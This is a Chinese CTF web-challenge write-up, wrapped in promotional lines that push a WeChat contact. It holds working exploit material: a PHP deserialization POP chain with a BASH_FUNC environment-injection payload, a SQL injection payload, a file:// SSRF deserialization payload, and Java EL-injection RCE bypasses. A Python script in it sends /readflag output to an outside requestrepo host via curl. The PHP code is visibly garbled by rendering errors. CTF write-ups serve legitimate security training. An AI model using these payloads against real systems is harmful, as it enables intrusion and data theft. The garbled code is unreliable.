学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
public $welcome;
public $you;
public function \_\_destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public
y
e
a
r
;
p
u
b
l
i
c
f
u
n
c
t
i
o
n
_
_
s
e
t
(
year; public function \_\_set(
year;publicfunction__set(name, KaTeX parse error: Expected '}', got 'EOF' at end of input: …; echo(this->year);
}
}
class CR {
public $last;
public $newyear;
public function \_\_tostring() {
if (is\_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg\_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg\_match('/^.\*(worries).\*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (_GET[‘get’] as $inject => KaTeX parse error: Expected '}', got 'EOF' at end of input: … putenv("{inject}={$rce}");
}
system(“echo “Haven’t you get the secret?””);
}
}
//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear=“\x0aworries”;
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
?>
传参如下:(有个编码问题,是个坑)
?get[BASH_FUNC_echo%25%25]=() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; };
go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9
![image-20240216205545963](https://img-blog.csdnimg.cn/img_convert/0ddb792a8e820baa66dcaf82661f2ca1.png)
## hacker
题目描述:这好像不是简单的sql注入
开题,源码有提示
![image-20240218195140983](https://img-blog.csdnimg.cn/img_convert/92d51043226d336365b1cd88fb4fb744.png)
直接查询没有反应
![image-20240218195351064](https://img-blog.csdnimg.cn/img_convert/f8e6fa53674fbfaf0b9dbf0e5d22b528.png)
burp打一下fuzz,发现过滤了以下部分
![image-20240218195553025](https://img-blog.csdnimg.cn/img_convert/3445665de60c06dc39d8833044d3e17c.png)
这题考无列名注入,可以看我的文章(才发现这篇访问有9k啊啊啊):[NSS [HNCTF 2022 WEEK2]easy\_sql\_nss上的sql-CSDN博客]( )
payload:
1’//union//select//2
//from//(select//1,2//union//select//*//from/**/flag)xxx%23
![image-20240218200819659](https://img-blog.csdnimg.cn/img_convert/289b4966ac1da2b51c5252b63564f075.png)
## Oyst3rPHP
题目描述:I think that Oyst3rphp is the best
开题,看饿了
![image-20240218201154139](https://img-blog.csdnimg.cn/img_convert/417d912508c1bdd82d52e9e76a2da87d.png)
没啥发现,骚一波看看,收获满满
![image-20240218201406166](https://img-blog.csdnimg.cn/img_convert/510daa7a024a73b8ecd25041460dc234.png)
源码readme发现是TP6
![image-20240218201618345](https://img-blog.csdnimg.cn/img_convert/aff74d7d444b8592ffbf33f5cfd2e582.png)
工具检测不到
![image-20240218201720974](https://img-blog.csdnimg.cn/img_convert/6bcdc6f929dd5d49aaa87811db38000f.png)
所以我们再看看源码。估计有部分改动,我们要手动打。
`/app/controller/index.php`
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈"; echo "
flag不在`/flag`。payload变量不会执行,我们注意力放在url变量上,file协议直接读。
POC:
<?php highlight\_file(__file__); error\_reporting(0); function get($url) { $curl = curl\_init(); curl\_setopt($curl, CURLOPT\_URL, $url); curl\_setopt($curl, CURLOPT\_HEADER, 0); curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, true); $data = curl\_exec($curl); curl\_close($curl); echo base64\_encode($data); return $data; } class client{ public $url; public $payload; public function \_\_construct() { $url = "http://127.0.0.1/"; $payload = "system(\"cat /flag\");"; echo "Exploit"; } public function \_\_destruct() { get($this->url); } } $a=new client(); $a->url='file:///var/www/html/flag.php'; echo serialize($a); ``` ![image-20240218202923197](https://img-blog.csdnimg.cn/img_convert/5330b7d6d7db9b429b7611a7e3744d0f.png) payload: ``` ?Harder=O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;} ``` base64解码 ![image-20240218202939395](https://img-blog.csdnimg.cn/img_convert/28b8d93045b1e3a41d6d189b8de8d1da.png) ## [进阶]elInjection 题目描述:快写个exp打死我! hint: > > 利用ScriptEngine基础上可以使用Base64编码Bypass > > > 非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数 > > > flag没有权限读取,执行/readflag获取 > > > 套双层ScriptEngineManager的eval执行java.util.Base64解码内容 > > > 开题 ![image-20240219004411863](https://img-blog.csdnimg.cn/img_convert/4ca512fb7b102cb473de9eb538869905.png) IDEA反编译一下看看,源码如下: ``` package com.example.elinjection.controller; import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext; import java.util.ArrayList; import java.util.Iterator; import javax.el.ExpressionFactory; // EL表达式工厂的基类,用于创建值表达式和方法表达式 import javax.el.ValueExpression; // 表示带有获取和设置功能的表达式 import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; // 使用@RestController注解,自动处理响应体的序列化,并将该类标记为Spring MVC控制器 @RestController public class TestController { // 定义无参构造函数,通常用于初始化操作,这里未进行具体操作 public TestController() { } // 使用@RequestMapping注解映射"/test"路径的HTTP请求到该方法,@ResponseBody指示返回值为响应体 @RequestMapping({"/test"}) @ResponseBody public String test(@RequestParam(name = "exp") String exp) { // 创建一个字符串列表,存储被认为可能执行危险操作的字符串 ArrayList list = new ArrayList(); list.add("Runtime"); list.add("exec"); list.add("invoke"); list.add("exec"); list.add("Process"); list.add("ClassLoader"); list.add("load"); list.add("Response"); list.add("Request"); list.add("Base64Utils"); list.add("ReflectUtils"); list.add("getWriter"); list.add("Thread"); list.add("defineClass"); list.add("bcel"); list.add("RequestAttributes"); list.add("File"); list.add("flag"); list.add("URL"); list.add("Command"); list.add("Inet"); list.add("System"); list.add("\\u"); list.add("\\x"); list.add("'"); // 使用迭代器遍历上面创建的字符串列表 Iterator var3 = list.iterator(); String s; // 循环检查输入的表达式中是否包含列表中的任何字符串 do { if (!var3.hasNext()) {//遍历结束,没有黑名单内字符串 // 如果输入的表达式不包含任何敏感字符串,则使用EL处理输入的表达式 ExpressionFactory expressionFactory = new ExpressionFactoryImpl(); SimpleContext simpleContext = new SimpleContext(); // 创建一个值表达式,用于在给定的上下文中评估exp ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); // 获取并执行表达式的值,但是这里没有使用执行结果 valueExpression.getValue(simpleContext); // 返回原始的表达式字符串 return exp; } // 如果找到敏感字符串,则将s设置为该字符串 s = (String)var3.next(); } while(!exp.contains(s)); // 如果输入表达式包含任何敏感字符串,返回"No" return "No"; } } ``` 在源码中发现其会`使用EL处理输入的表达式`。不难联想到Java安全中的EL表达式注入。 参考文章: > > [『Java安全』EL表达式注入-CSDN博客]( ) > > > [javaweb学习总结(二十九)——EL表达式 - 孤傲苍狼 - 博客园 (cnblogs.com)]( ) > > > [浅析EL表达式注入漏洞 - 先知社区 (aliyun.com)]( ) > > > --- EL表达式全称Express Language,语法:`${EL表达式}` EL表达式默认为启用,jsp会解析EL表达式,除非配置`<%@ page isELIgnored ="true|false" %>`,或者是全局pom.xml设置如下代码 ``` *.jsp true ``` **EL表达式注入**:外部输入可控、输入会被解析从而造成注入漏洞 主要的注入表达式(利用): ``` // 获取环境变量 ${applicationScope} // 获取web绝对路径 ${pageContext.servletContext.getResource("")} // 命令执行 ${pageContext.setAttribute("a", Runtime.getRuntime().exec("calc"))} ``` **绕过防御方式**: 1、反射 通常直接rce是不行的,通常会用到反射 ``` ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))} ``` 2、js引擎rce ``` ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")} ``` 3、String类动态生成命令字符串(ASCII) 对于命令被明文过滤的情况 ``` // 字符串 wh,多个cocnat嵌套构造whoami //-> java.lang.Character.toString(119).concat(java.lang.Character.toString(104)) true.toString().charAt(0).toChars(119)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()) ``` 4、base64编码绕过 ``` .exec(cmd) //-> .exec("bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}") ``` 5、套双层eval ``` ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("function myfuc(a){ return eval(a)};myfuc(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41))")} //106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41 //【解码后】java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAiY3VybCBgL3JlYWRmbGFnYC5kY3ZleHlrNy5yZXF1ZXN0cmVwby5jb20i}|{base64,-d}|{bash,-i}') ``` --- 由于源码过滤,我们绕过方式选用js引擎rce+ASCII+base64编码绕过(上文234) 具体利用方式见python脚本: ``` import requests import base64 def encode(payload): encode_payload = "" for i in range(0, len(payload)): if i == 0: encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]) else: encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]) return encode_payload cmd = b"curl `/readflag`.dcvexyk7.requestrepo.com" bs_cmd=base64.b64encode(cmd).decode() ASC_bs_cmd=encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")") #print(ASC\_bs\_cmd) exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('+ASC_bs_cmd+')}' #print(exp) url = "http://yuanshen.life:23333/test" data = {'exp': exp} r = requests.post(url, data).text print(r) **网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。** **需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)** **[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)** **一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**